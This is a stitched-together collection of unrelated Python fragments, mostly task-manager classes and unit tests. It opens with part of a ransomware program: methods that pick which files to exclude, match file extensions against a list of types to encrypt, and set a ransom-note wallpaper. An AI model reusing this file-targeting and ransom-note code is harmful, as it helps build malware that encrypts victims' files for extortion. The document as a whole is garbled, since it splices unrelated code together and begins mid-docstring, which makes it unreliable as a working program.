file should be excluded from encryption, otherwise false ''' if file.lower() in self.FILES_TO_EXCLUDE: return True else: return False def is_valid_filetype(self, file): ''' @summary: Verifies whether the specified file is of an acceptable type for encryption @param file: The file to check @attention: The list of filetypes to encrypt is defined in the Base.Base class ''' # Split filename filename_components = file.split(".") # If no extension, return False if len(filename_components) <= 1: return False # Otherwise stringify extension else: full_extension = ".".join(filename_components[1:]).lower() # Check if extension is in the list of encryptable extensions for target_extension in self.__config["filetypes_to_encrypt"]: if len(target_extension) <= len(full_extension) and full_extension[-len(target_extension):] == target_extension.lower(): return True return False def set_wallpaper(self): ''' @summary: Sets the users wallpaper to a specific ransom not image @deprecated: This method, and approach, is no longer used. The ransom note is now displayed via a WX GUI @requires: To enable this method, add an import for ctypes ''' # Import image and write to path # todo adjust file name... maybe replace this with whatever is provided in the config file? image_path = os.path.join(sys._MEIPASS, "ransom.png") SPI_SETDESKWALLPAPER = 20 ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, image_path, 3)
except: #logger.exception("Error in initializing ENGINE.") # Use error instead of exception since any exception # should have been printed in the engine #logger.error("Error in initializing ENGINE.") sleep(2) main_logger.stop() sys.exit("****Exiting****") # ======================== # Setup Task Manager # ======================== try: task_manager = TaskManager(options.settings, main_logger.log_queue) except: #logger.error("Error in initializing tastk manager.") main_logger.stop() sys.exit("****Exiting****") # ======================== # Main Loop # ======================== # Create and launch the command line interpreter cli = CLI(engine, task_manager, main_logger, logger) engine.SetParent(cli) #comment out if cli not parent
def setUp(self): logging.basicConfig(filename='TaskManager.log', level=logging.DEBUG) logger = logging.getLogger(__name__) self.hostname = 'sv0' self.tm = TaskManager(self.hostname, logger, address='127.0.0.1', port=5440) self.job_name = 'tm_test'
def parseInputActionRemove(): tm = TaskManager() tm.exec("+ Acheter du pain") tm.exec("- 1") assert tm.action.type == "REMOVE"
def parseInputActionToDo(): tm = TaskManager() tm.exec("+ Acheter du pain") tm.exec("o 1") assert tm.action.type == "TODO"
class TaskServer: ############################# def __init__(self, address, configDesc): self.configDesc = configDesc self.address = address self.curPort = configDesc.startPort self.taskHeaders = {} self.taskManager = TaskManager(configDesc.clientUid) self.taskComputer = TaskComputer(configDesc.clientUid, self, self.configDesc.estimatedPerformance, self.configDesc.taskRequestInterval) self.taskSeesions = {} self.taskSeesionsIncoming = [] self.lastMessages = [] self.resultsToSend = {} self.__startAccepting() ############################# def syncNetwork(self): self.taskComputer.run() self.__removeOldTasks() self.__sendWaitingResults() ############################# # This method chooses random task from the network to compute on our machine def requestTask(self, estimatedPerformance): if len(self.taskHeaders.values()) > 0: tn = random.randrange(0, len(self.taskHeaders.values())) theader = self.taskHeaders.values()[tn] self.__connectAndSendTaskRequest(theader.taskOwnerAddress, theader.taskOwnerPort, theader.taskId, estimatedPerformance) return theader.taskId else: return 0 ############################# def requestResource(self, subTaskId, resourceHeader, address, port): self.__connectAndSendResourceRequest(address, port, subTaskId, resourceHeader) return subTaskId ############################# def sendResults(self, subTaskId, result, ownerAddress, ownerPort): if subTaskId not in self.resultsToSend: self.resultsToSend[subTaskId] = WaitingTaskResult( subTaskId, result, 0.0, 0.0, ownerAddress, ownerPort) else: assert False return True ############################# def newConnection(self, session): session.taskServer = self session.taskComputer = self.taskComputer session.taskManager = self.taskManager self.taskSeesionsIncoming.append(session) ############################# def getTasksHeaders(self): ths = self.taskHeaders.values() + self.taskManager.getTasksHeaders() ret = [] for th in ths: ret.append({ "id": th.taskId, "address": th.taskOwnerAddress, "port": th.taskOwnerPort, "ttl": th.ttl, "clientId": th.clientId }) return ret ############################# def addTaskHeader(self, thDictRepr): try: id = thDictRepr["id"] if id not in self.taskHeaders.keys(): # dont have it if id not in self.taskManager.tasks.keys( ): # It is not my task id print "Adding task {}".format(id) self.taskHeaders[id] = TaskHeader(thDictRepr["clientId"], id, thDictRepr["address"], thDictRepr["port"], thDictRepr["ttl"]) return True except: print "Wrong task header received" return False ############################# def removeTaskHeader(self, taskId): if taskId in self.taskHeaders: del self.taskHeaders[taskId] ############################# def removeTaskSession(self, taskSession): for tsk in self.taskSeesions.keys(): if self.taskSeesions[tsk] == taskSession: del self.taskSeesions[tsk] ############################# def setLastMessage(self, type, t, msg, address, port): if len(self.lastMessages) >= 5: self.lastMessages = self.lastMessages[-4:] self.lastMessages.append([type, t, address, port, msg]) ############################# def getLastMessages(self): return self.lastMessages ############################# def getWaitingTaskResult(self, subTaskId): if subTaskId in self.resultsToSend: return self.resultsToSend[subTaskId] else: return None ############################# def taskResultSent(self, subTaskId): if subTaskId in self.resultsToSend: del self.resultsToSend[subTaskId] else: assert False ############################# # PRIVATE SECTION ############################# def __startAccepting(self): print "Enabling tasks accepting state" Network.listen(self.configDesc.startPort, self.configDesc.endPort, TaskServerFactory(self), None, self.__listeningEstablished, self.__listeningFailure) ############################# def __listeningEstablished(self, port): self.curPort = port print "Port {} opened - listening".format(port) self.taskManager.listenAddress = self.address self.taskManager.listenPort = self.curPort ############################# def __listeningFailure(self, p): print "Opening {} port for listening failed, trying the next one".format( self.curPort) self.curPort = self.curPort + 1 if self.curPort <= self.configDesc.endPort: self.__runListenOnce() else: #FIXME: some graceful terminations should take place here sys.exit(0) ############################# def __connectAndSendTaskRequest(self, address, port, taskId, estimatedPerformance): Network.connect(address, port, TaskSession, self.__connectionForTaskRequestEstablished, self.__connectionForTaskRequestFailure, taskId, estimatedPerformance) ############################# def __connectAndSendResourceRequest(self, address, port, subTaskId, resourceHeader): Network.connect(address, port, TaskSession, self.__connectionForResourceRequestEstablished, self.__connectionForResourceRequestFailure, subTaskId, resourceHeader) ############################# def __connectionForTaskRequestEstablished(self, session, taskId, estimatedPerformance): session.taskServer = self session.taskComputer = self.taskComputer session.taskManager = self.taskManager self.taskSeesions[taskId] = session session.requestTask(taskId, estimatedPerformance) ############################# def __connectionForTaskRequestFailure(self, session, taskId, estimatedPerformance): print "Cannot connect to task {} owner".format(taskId) print "Removing task {} from task list".format(taskId) self.taskComputer.taskRequestRejected(taskId, "Connection failed") self.removeTaskHeader(taskId) ############################# def __connectAndSendTaskResults(self, address, port, waitingTaskResult): Network.connect(address, port, TaskSession, self.__connectionForTaskResultEstablished, self.__connectionForTaskResultFailure, waitingTaskResult) ############################# def __connectionForTaskResultEstablished(self, session, waitingTaskResult): session.taskServer = self session.taskComputer = self.taskComputer session.taskManager = self.taskManager self.taskSeesions[waitingTaskResult.subTaskId] = session session.sendReportComputedTask(waitingTaskResult.subTaskId) ############################# def __connectionForTaskResultFailure(self, waitingTaskResult): print "Cannot connect to task {} owner".format( waitingTaskResult.subTaskId) print "Removing task {} from task list".format( waitingTaskResult.subTaskId) waitingTaskResult.lastSendingTrial = time.time() waitingTaskResult.delayTime = self.configDesc.maxResultsSendignDelay waitingTaskResult.alreadySending = False ############################# def __connectionForResourceRequestEstablished(self, session, subTaskId, resourceHeader): session.taskServer = self session.taskComputer = self.taskComputer session.taskManager = self.taskManager self.taskSeesions[subTaskId] = session session.taskId = subTaskId session.requestResource(subTaskId, resourceHeader) ############################# def __connectionForResourceRequestFailure(self, session, subTaskId, resourceHeader): print "Cannot connect to task {} owner".format(subTaskId) print "Removing task {} from task list".format(subTaskId) self.taskComputer.resourceRequestRejected(subTaskId, "Connection failed") self.removeTaskHeader(subTaskId) ############################# def __removeOldTasks(self): for t in self.taskHeaders.values(): currTime = time.time() t.ttl = t.ttl - (currTime - t.lastChecking) t.lastChecking = currTime if t.ttl <= 0: print "Task {} dies".format(t.id) self.removeTaskHeader(t.id) self.taskManager.removeOldTasks() def __sendWaitingResults(self): for wtr in self.resultsToSend: waitingTaskResult = self.resultsToSend[wtr] if not waitingTaskResult.alreadySending: if time.time( ) - waitingTaskResult.lastSendingTrial > waitingTaskResult.delayTime: subTaskId = waitingTaskResult.subTaskId waitingTaskResult.alreadySending = True self.__connectAndSendTaskResults( waitingTaskResult.ownerAddress, waitingTaskResult.ownerPort, waitingTaskResult)
def parseInputActionDone(): tm = TaskManager() tm.exec("+ Acheter du pain") tm.exec("x 1") assert tm.action.type == "DONE"
choices=["2a", "2b", "3a", "3b", "4d", "5"], default="2a") parser.add_argument( "-f", "--file", help="A file path to a json file containing data from issuu.com", type=str, required=True) parser.add_argument("-g", "--gui", help="set this flag to display a gui.", action="store_true") parser.add_argument( "-v", "--verbose", help="set this flag to display detailed is likes data in the console.", action="store_true") args = parser.parse_args() data_displayer = DisplayData( ) # create an instance of the DisplayData class if not args.gui: # If the gui interface is not used task_manager = TaskManager() task_manager.run_task(args.task, args.docID, args.userID, args.file, data_displayer) # run the specified task else: # show the GUI gui = GUIManager(args.docID, args.userID, args.file, data_displayer) data_displayer.gui_manager = gui # save the reference to this gui object (needed to print messages) gui.display_gui() # show the gui
class TaskManagerTest(unittest.TestCase): def setUp(self): #runs before every test print "\n\n\n--------------------------------------------------------------" self.tmA = TaskManager("A") self.tmB = TaskManager("B") print "--------------------------------------------------------------\n" def test_1Adding_Deleting_Printing_Works(self): #must start with test_... print "Test 1: Multiple Add , Delete and Print\n" tm = self.tmA tm.add_task(Task("Buy milk","Done","Trivial")) tm.add_task(UrgentTask("Pay rent","Done")) tm.add_task(ImportantTask("Learn Python Classes","Pending")) print tm tm.del_task(1) tm.do_task(2) print tm self.tmB.add_task(Task("Buy gold","Pending","Trivial")) self.tmB.add_task(ImportantTask("Conquer self","Done")) tm.add_task(ImportantTask("Learn Python Classes","Pending")) print self.tmB self.assertEqual(len(tm.tasklist),2) def test_2Delete_Non_Existent_Tasks_Foiled(self): print "Test 2: Delete Non-Existent Task\n" tm = self.tmA tm.del_task(100) def test_3Multiple_Taskmanagers_Allowed(self): print "Test 3: Check if multiple taskmanagers can be created\n" self.tmA.add_task(Task("Buy milk","Done","Trivial" )) self.tmA.add_task(Task("Buy car","Done","Important" )) self.tmA.add_task(Task("Buy jet","Pending","Trivial" )) self.tmB.add_task(Task("Move to Mars","Pending","Important" )) print "\n\n" print self.tmA print "\n\n" print self.tmB self.assertNotEqual(self.tmA.size() , self.tmB.size()) def test_4Numerical_Inputs_Default_Gracefully(self): args = [1,1.4,100000000] print "Test 4: Handle special input {0} \n".format(args) self.tmA.add_task(Task(*args)) self.assertEqual(self.tmA.size(),1) def test_5Duplicate_Task_Add_Not_Allowed(self): print "Test 5: Handle Duplicate Task Adds\n" self.tmA.add_task(Task("Pay monthly electricity bill","Done","Urgent")) self.tmA.add_task(Task(" pay MONTHLy ELECTRICity BIll ","Done","Urgent")) self.assertEqual(self.tmA.size(),1)